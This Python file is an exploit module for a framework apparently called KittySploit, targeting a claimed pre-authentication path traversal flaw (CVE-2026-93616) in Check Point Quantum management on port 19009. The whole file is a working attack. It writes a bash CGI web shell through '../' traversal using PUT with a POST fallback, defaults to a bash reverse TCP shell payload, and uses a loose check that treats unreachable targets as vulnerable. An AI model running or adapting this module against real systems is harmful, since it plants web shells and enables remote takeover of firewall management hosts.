#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Check Point Quantum management pre-auth path traversal RCE (CVE-2026-93616)."""

import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client


class Module(Exploit, Http_client, Tcp_scanner_client):
    __info__ = {
        'name': 'Check Point Management Path Traversal RCE (CVE-2026-93616)',
        'description': (
            'Exploits CVE-2026-93616 on Check Point Quantum Security Management: '
            'pre-authentication path traversal on TCP/19009 allows writing attacker-controlled '
            'content to reachable paths, enabling remote code execution on the SMS/Gaia host.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-93616'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-93616',
            'https://support.checkpoint.com/results/sk/sk1000171',
        ],
        'tags': ['checkpoint', 'management', 'path-traversal', 'pre-auth', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/tcp/checkpoint_cve_2026_93616_detect'],
            },
        },
    }

    mgmt_port = OptPort(19009, 'Check Point management web service port', required=True)
    ssl = OptBool(True, 'Use HTTPS for management API', required=True)
    upload_path = OptString(
        '../../../opt/CPshrd/web/ks_shell.cgi',
        'Traversal path for webshell write',
        required=False,
    )
    command = OptString('', 'Command instead of payload (written into cgi stub)', required=False)
    traversal_depth = OptInteger(6, 'Extra ../ segments prepended to upload_path', required=False, advanced=True)

    def _with_mgmt_port(self):
        saved_port = self.port
        saved_ssl = self.ssl
        self.port = int(self.mgmt_port or 19009)
        self.ssl = bool(self.ssl)
        return saved_port, saved_ssl

    def _restore_port(self, saved_port, saved_ssl):
        self.port = saved_port
        self.ssl = saved_ssl

    def _traversal_target(self) -> str:
        remote = str(self.upload_path or '').lstrip('/')
        depth = max(int(self.traversal_depth or 6), 1)
        return '/' + '../' * depth + remote

    def _build_shell_stub(self, cmd: str) -> str:
        command = (cmd or 'id').strip()
        return (
            '#!/bin/bash\n'
            f'{command}\n'
        )

    def check(self):
        host = self._host()
        port = int(self.mgmt_port or 19009)
        if not host:
            return {'vulnerable': False, 'reason': 'target not set', 'confidence': 'low'}
        if not self.is_tcp_open(host=host, port=port):
            return {'vulnerable': False, 'reason': f'TCP/{port} closed', 'confidence': 'high'}
        saved = self._with_mgmt_port()
        try:
            r = self.http_request(method='GET', path='/', allow_redirects=True)
        finally:
            self._restore_port(*saved)
        if not r:
            return {'vulnerable': True, 'reason': f'Management port {port} open', 'confidence': 'medium'}
        blob = f'{r.text or ""}\n{r.headers}'.lower()
        if any(token in blob for token in ('check point', 'smartconsole', 'cpm', 'gaia')):
            return {'vulnerable': True, 'reason': 'Check Point management panel detected', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': f'Management HTTP service on {port}', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-93616 — Check Point management path traversal upload')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        target_path = self._traversal_target()
        body = self._build_shell_stub(cmd)
        saved = self._with_mgmt_port()
        try:
            print_status(f'PUT {target_path} ({len(body)} bytes)...')
            r = self.http_request(
                method='PUT',
                path=target_path,
                headers={'Content-Type': 'application/octet-stream'},
                data=body,
                allow_redirects=False,
            )
            if not r or int(r.status_code or 0) not in (200, 201, 204):
                encoded = urllib.parse.quote(target_path, safe='/')
                print_status('Retrying POST upload...')
                r = self.http_request(
                    method='POST',
                    path=f'/upload?filename={encoded}',
                    headers={'Content-Type': 'application/octet-stream'},
                    data=body,
                    allow_redirects=False,
                )
        finally:
            self._restore_port(*saved)
        if r and int(r.status_code or 0) in (200, 201, 204, 302):
            print_success('Traversal upload accepted — trigger uploaded path or check listener')
            self.vulnerable()
            return True
        print_error(f'Upload failed (HTTP {getattr(r, "status_code", "?")})')
        return False